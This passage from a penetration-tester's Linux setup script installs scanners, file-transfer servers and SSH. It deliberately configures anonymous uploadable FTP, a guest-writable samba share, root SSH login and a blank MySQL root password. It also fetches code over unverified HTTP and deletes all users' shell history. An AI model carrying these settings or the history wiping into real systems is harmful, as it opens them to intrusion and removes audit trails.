  3329. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}nbtscan${RESET} (${GREEN}inetcat${RESET} & ${GREEN}unixwiz${RESET}) ~ netbios scanner"
  3330. #--- inetcat - 1.5.x
  3331. apt -y -qq install nbtscan \
  3332. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3333. #--- Examples
  3334. #nbtscan -r 192.168.0.1/24
  3335. #nbtscan -r 192.168.0.1/24 -v
  3336. #--- unixwiz - 1.0.x
  3337. mkdir -p /usr/local/src/nbtscan-unixwiz/
  3338. timeout 300 curl --progress -k -L -f "http://unixwiz.net/tools/nbtscan-source-1.0.35.tgz" > /usr/local/src/nbtscan-unixwiz/nbtscan.tgz \
  3339. || echo -e ' '${RED}'[!]'${RESET}" Issue downloading nbtscan.tgz" 1>&2 #***!!! hardcoded version! Need to manually check for updates
  3340. tar -zxf /usr/local/src/nbtscan-unixwiz/nbtscan.tgz -C /usr/local/src/nbtscan-unixwiz/
  3341. pushd /usr/local/src/nbtscan-unixwiz/ >/dev/null
  3342. make -s clean;
  3343. make -s 2>/dev/null # bad, I know
  3344. popd >/dev/null
  3345. #--- Add to path
  3346. ln -sf /usr/local/src/nbtscan-unixwiz/nbtscan /usr/local/bin/nbtscan-uw
  3347. #--- Examples
  3348. #nbtscan-uw -f 192.168.0.1/24
  3349.  
  3350.  
  3351. ##### Setup tftp client & server
  3352. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Setting up ${GREEN}tftp client${RESET} & ${GREEN}server${RESET} ~ file transfer methods"
  3353. apt -y -qq install tftp atftpd \
  3354. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3355. #--- Configure atftpd
  3356. file=/etc/default/atftpd; [ -e "${file}" ] && cp -n $file{,.bkup}
  3357. echo -e 'USE_INETD=false\nOPTIONS="--tftpd-timeout 300 --retry-timeout 5 --maxthread 100 --verbose=5 --daemon --port 69 /var/tftp"' > "${file}"
  3358. mkdir -p /var/tftp/
  3359. chown -R nobody\:root /var/tftp/
  3360. chmod -R 0755 /var/tftp/
  3361. #--- Setup alias
  3362. file=~/.bash_aliases; [ -e "${file}" ] && cp -n $file{,.bkup} #/etc/bash.bash_aliases
  3363. ([[ -e "${file}" && "$(tail -c 1 ${file})" != "" ]]) && echo >> "${file}"
  3364. grep -q '^## tftp' "${file}" 2>/dev/null \
  3365. || echo -e '## tftp\nalias tftproot="cd /var/tftp/"\n' >> "${file}"
  3366. #--- Apply new alias
  3367. source "${file}" || source ~/.zshrc
  3368. #--- Remove from start up
  3369. systemctl disable atftpd
  3370. #--- Disabling IPv6 can help
  3371. #echo 1 > /proc/sys/net/ipv6/conf/all/disable_ipv6
  3372. #echo 1 > /proc/sys/net/ipv6/conf/default/disable_ipv6
  3373.  
  3374.  
  3375. ##### Install Pure-FTPd
  3376. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}Pure-FTPd${RESET} ~ FTP server/file transfer method"
  3377. apt -y -qq install pure-ftpd \
  3378. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3379. #--- Setup pure-ftpd
  3380. mkdir -p /var/ftp/
  3381. groupdel ftpgroup 2>/dev/null;
  3382. groupadd ftpgroup
  3383. userdel ftp 2>/dev/null;
  3384. useradd -r -M -d /var/ftp/ -s /bin/false -c "FTP user" -g ftpgroup ftp
  3385. chown -R ftp\:ftpgroup /var/ftp/
  3386. chmod -R 0755 /var/ftp/
  3387. pure-pw userdel ftp 2>/dev/null;
  3388. echo -e '\n' | pure-pw useradd ftp -u ftp -d /var/ftp/
  3389. pure-pw mkdb
  3390. #--- Configure pure-ftpd
  3391. echo "no" > /etc/pure-ftpd/conf/UnixAuthentication
  3392. echo "no" > /etc/pure-ftpd/conf/PAMAuthentication
  3393. echo "yes" > /etc/pure-ftpd/conf/NoChmod
  3394. echo "yes" > /etc/pure-ftpd/conf/ChrootEveryone
  3395. #echo "yes" > /etc/pure-ftpd/conf/AnonymousOnly
  3396. echo "no" > /etc/pure-ftpd/conf/NoAnonymous
  3397. echo "yes" > /etc/pure-ftpd/conf/AnonymousCanCreateDirs
  3398. echo "yes" > /etc/pure-ftpd/conf/AllowAnonymousFXP
  3399. echo "no" > /etc/pure-ftpd/conf/AnonymousCantUpload
  3400. echo "30768 31768" > /etc/pure-ftpd/conf/PassivePortRange #cat /proc/sys/net/ipv4/ip_local_port_range
  3401. echo "/etc/pure-ftpd/welcome.msg" > /etc/pure-ftpd/conf/FortunesFile #/etc/motd
  3402. echo "FTP" > /etc/pure-ftpd/welcome.msg
  3403. ln -sf /etc/pure-ftpd/conf/PureDB /etc/pure-ftpd/auth/50pure
  3404. #--- 'Better' MOTD
  3405. apt -y -qq install cowsay \
  3406. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3407. echo "moo" | /usr/games/cowsay > /etc/pure-ftpd/welcome.msg
  3408. echo -e " ${YELLOW}[i]${RESET} Pure-FTPd username: anonymous"
  3409. echo -e " ${YELLOW}[i]${RESET} Pure-FTPd password: anonymous"
  3410. #--- Apply settings
  3411. systemctl restart pure-ftpd
  3412. #--- Setup alias
  3413. file=~/.bash_aliases; [ -e "${file}" ] && cp -n $file{,.bkup} #/etc/bash.bash_aliases
  3414. ([[ -e "${file}" && "$(tail -c 1 ${file})" != "" ]]) && echo >> "${file}"
  3415. grep -q '^## ftp' "${file}" 2>/dev/null \
  3416. || echo -e '## ftp\nalias ftproot="cd /var/ftp/"\n' >> "${file}"
  3417. #--- Apply new alias
  3418. source "${file}" || source ~/.zshrc
  3419. #--- Remove from start up
  3420. systemctl disable pure-ftpd
  3421.  
  3422.  
  3423. ##### Install samba
  3424. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}samba${RESET} ~ file transfer method"
  3425. #--- Installing samba
  3426. apt -y -qq install samba \
  3427. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3428. apt -y -qq install cifs-utils \
  3429. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3430. #--- Create samba user
  3431. groupdel smbgroup 2>/dev/null;
  3432. groupadd smbgroup
  3433. userdel samba 2>/dev/null;
  3434. useradd -r -M -d /nonexistent -s /bin/false -c "Samba user" -g smbgroup samba
  3435. #--- Use the samba user
  3436. file=/etc/samba/smb.conf; [ -e "${file}" ] && cp -n $file{,.bkup}
  3437. sed -i 's/guest account = .*/guest account = samba/' "${file}" 2>/dev/null
  3438. grep -q 'guest account' "${file}" 2>/dev/null \
  3439. || sed -i 's#\[global\]#\[global\]\n guest account = samba#' "${file}"
  3440. #--- Setup samba paths
  3441. grep -q '^\[shared\]' "${file}" 2>/dev/null \
  3442. || cat <<EOF >> "${file}"
  3443.  
  3444. [shared]
  3445. comment = Shared
  3446. path = /var/samba/
  3447. browseable = yes
  3448. guest ok = yes
  3449. #guest only = yes
  3450. read only = no
  3451. writable = yes
  3452. create mask = 0644
  3453. directory mask = 0755
  3454. EOF
  3455. #--- Create samba path and configure it
  3456. mkdir -p /var/samba/
  3457. chown -R samba\:smbgroup /var/samba/
  3458. chmod -R 0755 /var/samba/
  3459. #--- Bug fix
  3460. touch /etc/printcap
  3461. #--- Check
  3462. #systemctl restart samba
  3463. #smbclient -L \\127.0.0.1 -N
  3464. #mount -t cifs -o guest //127.0.0.1/share /mnt/smb mkdir -p /mnt/smb
  3465. #--- Disable samba at startup
  3466. systemctl stop samba
  3467. systemctl disable samba
  3468. echo -e " ${YELLOW}[i]${RESET} Samba username: guest"
  3469. echo -e " ${YELLOW}[i]${RESET} Samba password: <blank>"
  3470. #--- Setup alias
  3471. file=~/.bash_aliases; [ -e "${file}" ] && cp -n $file{,.bkup} #/etc/bash.bash_aliases
  3472. ([[ -e "${file}" && "$(tail -c 1 ${file})" != "" ]]) && echo >> "${file}"
  3473. grep -q '^## smb' "${file}" 2>/dev/null \
  3474. || echo -e '## smb\nalias smb="cd /var/samba/"\n#alias smbroot="cd /var/samba/"\n' >> "${file}"
  3475. #--- Apply new alias
  3476. source "${file}" || source ~/.zshrc
  3477.  
  3478.  
  3479. ##### Install apache2 & php7
  3480. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}apache2${RESET} & ${GREEN}php7${RESET} ~ web server"
  3481. apt -y -qq install apache2 php7 php7-cli php7-curl \
  3482. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3483. touch /var/www/html/favicon.ico
  3484. grep -q '<title>Apache2 Debian Default Page: It works</title>' /var/www/html/index.html 2>/dev/null \
  3485. && rm -f /var/www/html/index.html \
  3486. && echo '<?php echo "Access denied for " . $_SERVER["REMOTE_ADDR"]; ?>' > /var/www/html/index.php
  3487. #--- Setup alias
  3488. file=~/.bash_aliases; [ -e "${file}" ] && cp -n $file{,.bkup} #/etc/bash.bash_aliases
  3489. ([[ -e "${file}" && "$(tail -c 1 ${file})" != "" ]]) && echo >> "${file}"
  3490. grep -q '^## www' "${file}" 2>/dev/null \
  3491. || echo -e '## www\nalias wwwroot="cd /var/www/html/"\n' >> "${file}"
  3492. #--- Apply new alias
  3493. source "${file}" || source ~/.zshrc
  3494.  
  3495.  
  3496. ##### Install mysql
  3497. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}MySQL${RESET} ~ database"
  3498. apt -y -qq install mysql-server \
  3499. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3500. echo -e " ${YELLOW}[i]${RESET} MySQL username: root"
  3501. echo -e " ${YELLOW}[i]${RESET} MySQL password: <blank> ***${BOLD}CHANGE THIS ASAP${RESET}***"
  3502. [[ -e ~/.my.cnf ]] \
  3503. || cat <<EOF > ~/.my.cnf
  3504. [client]
  3505. user=root
  3506. host=localhost
  3507. password=
  3508. EOF
  3509.  
  3510.  
  3511. ##### Install rsh-client
  3512. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}rsh-client${RESET} ~ remote shell connections"
  3513. apt -y -qq install rsh-client \
  3514. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3515.  
  3516.  
  3517. ##### Install sshpass
  3518. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}sshpass${RESET} ~ automating SSH connections"
  3519. apt -y -qq install sshpass \
  3520. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3521.  
  3522.  
  3523. ##### Install DBeaver
  3524. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}DBeaver${RESET} ~ GUI DB manager"
  3525. apt -y -qq install curl \
  3526. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3527. arch="i386"
  3528. [[ "$(uname -m)" == "x86_64" ]] && arch="amd64"
  3529. timeout 300 curl --progress -k -L -f "http://dbeaver.jkiss.org/files/dbeaver-ce_latest_${arch}.deb" > /tmp/dbeaver.deb \
  3530. || echo -e ' '${RED}'[!]'${RESET}" Issue downloading dbeaver.deb" 1>&2 #***!!! hardcoded version! Need to manually check for updates
  3531. if [ -e /tmp/dbeaver.deb ]; then
  3532. dpkg -i /tmp/dbeaver.deb
  3533. #--- Add to path
  3534. ln -sf /usr/share/dbeaver/dbeaver /usr/local/bin/dbeaver
  3535. fi
  3536.  
  3537.  
  3538. ##### Install ashttp
  3539. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}ashttp${RESET} ~ terminal via the web"
  3540. apt -y -qq install git \
  3541. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3542. git clone -q -b master https://github.com/JulienPalard/ashttp.git /opt/ashttp-git/ \
  3543. || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  3544. pushd /opt/ashttp-git/ >/dev/null
  3545. git pull -q
  3546. popd >/dev/null
  3547.  
  3548.  
  3549. ##### Install gotty
  3550. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}gotty${RESET} ~ terminal via the web"
  3551. apt -y -qq install git \
  3552. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3553. git clone -q -b master https://github.com/yudai/gotty.git /opt/gotty-git/ \
  3554. || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  3555. pushd /opt/gotty-git/ >/dev/null
  3556. git pull -q
  3557. popd >/dev/null
  3558.  
  3559.  
  3560. ##### Preparing a jail ~ http://allanfeid.com/content/creating-chroot-jail-ssh-access // http://www.cyberciti.biz/files/lighttpd/l2chroot.txt
  3561. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Preparing up a ${GREEN}jail${RESET} ~ testing environment"
  3562. apt -y -qq install debootstrap curl \
  3563. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3564.  
  3565.  
  3566. ##### Setup SSH
  3567. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Setting up ${GREEN}SSH${RESET} ~ CLI access"
  3568. apt -y -qq install openssh-server \
  3569. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3570. #--- Wipe current keys
  3571. rm -f /etc/ssh/ssh_host_*
  3572. find ~/.ssh/ -type f ! -name authorized_keys -delete 2>/dev/null
  3573. #--- Generate new keys
  3574. ssh-keygen -b 4096 -t rsa1 -f /etc/ssh/ssh_host_key -P "" >/dev/null
  3575. ssh-keygen -b 4096 -t rsa -f /etc/ssh/ssh_host_rsa_key -P "" >/dev/null
  3576. ssh-keygen -b 1024 -t dsa -f /etc/ssh/ssh_host_dsa_key -P "" >/dev/null
  3577. ssh-keygen -b 521 -t ecdsa -f /etc/ssh/ssh_host_ecdsa_key -P "" >/dev/null
  3578. ssh-keygen -b 4096 -t rsa -f ~/.ssh/id_rsa -P "" >/dev/null
  3579. #--- Change MOTD
  3580. apt -y -qq install cowsay \
  3581. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3582. echo "Moo" | /usr/games/cowsay > /etc/motd
  3583. #--- Change SSH settings
  3584. file=/etc/ssh/sshd_config; [ -e "${file}" ] && cp -n $file{,.bkup}
  3585. sed -i 's/^PermitRootLogin .*/PermitRootLogin yes/g' "${file}" # Accept password login (overwrite Debian 8+'s more secure default option...)
  3586. sed -i 's/^#AuthorizedKeysFile /AuthorizedKeysFile /g' "${file}" # Allow for key based login
  3587. #sed -i 's/^Port .*/Port 2222/g' "${file}"
  3588. #--- Enable ssh at startup
  3589. #systemctl enable ssh
  3590. #--- Setup alias (handy for 'zsh: correct 'ssh' to '.ssh' [nyae]? n')
  3591. file=~/.bash_aliases; [ -e "${file}" ] && cp -n $file{,.bkup} #/etc/bash.bash_aliases
  3592. ([[ -e "${file}" && "$(tail -c 1 ${file})" != "" ]]) && echo >> "${file}"
  3593. grep -q '^## ssh' "${file}" 2>/dev/null \
  3594. || echo -e '## ssh\nalias ssh-start="systemctl restart ssh"\nalias ssh-stop="systemctl stop ssh"\n' >> "${file}"
  3595. #--- Apply new alias
  3596. source "${file}" || source ~/.zshrc
  3597.  
  3598.  
  3599.  
  3600. ##### Custom insert point
  3601.  
  3602.  
  3603.  
  3604. ##### Clean the system
  3605. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) ${GREEN}Cleaning${RESET} the system"
  3606. #--- Clean package manager
  3607. for FILE in clean autoremove; do apt -y -qq "${FILE}"; done
  3608. apt -y -qq purge $(dpkg -l | tail -n +6 | egrep -v '^(h|i)i' | awk '{print $2}') # Purged packages
  3609. #--- Update slocate database
  3610. updatedb
  3611. #--- Reset folder location
  3612. cd ~/ &>/dev/null
  3613. #--- Remove any history files (as they could contain sensitive info)
  3614. history -c 2>/dev/null
  3615. for i in $(cut -d: -f6 /etc/passwd | sort -u); do
  3616. [ -e "${i}" ] && find "${i}" -type f -name '.*_history' -delete
  3617. done
  3618.  
  3619.  
  3620. ##### Time taken
  3621. finish_time=$(date +%s)
  3622. echo -e "\n\n ${YELLOW}[i]${RESET} Time (roughly) taken: ${YELLOW}$(( $(( finish_time - start_time )) / 60 )) minutes${RESET}"
  3623.  
  3624.  
  3625. #-Done-----------------------------------------------------------------#
  3626.  
  3627.  
  3628. ##### Done!
  3629. echo -e "\n ${YELLOW}[i]${RESET} Don't forget to:"
  3630. echo -e " ${YELLOW}[i]${RESET} + Check the above output (Did everything install? Any errors? (${RED}HINT: What's in RED${RESET}?)"
  3631. echo -e " ${YELLOW}[i]${RESET} + Manually install: Nessus, Nexpose, and/or Metasploit Community"
  3632. echo -e " ${YELLOW}[i]${RESET} + Agree/Accept to: Maltego, OWASP ZAP, w3af, etc"
  3633. echo -e " ${YELLOW}[i]${RESET} + Setup git: ${YELLOW}git config --global user.name <name>;git config --global user.email <email>${RESET}"
  3634. echo -e " ${YELLOW}[i]${RESET} + ${BOLD}Change default passwords${RESET}: PostgreSQL/MSF, MySQL, OpenVAS, BeEF XSS, etc"
  3635. echo -e " ${YELLOW}[i]${RESET} + ${YELLOW}Reboot${RESET}"
  3636. (dmidecode | grep -iq virtual) \
  3637. && echo -e " ${YELLOW}[i]${RESET} + Take a snapshot (Virtual machine detected)"
  3638.  
  3639. echo -e '\n'${BLUE}'[*]'${RESET}' '${BOLD}'Done!'${RESET}'\n\a'
  3640. exit 0
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement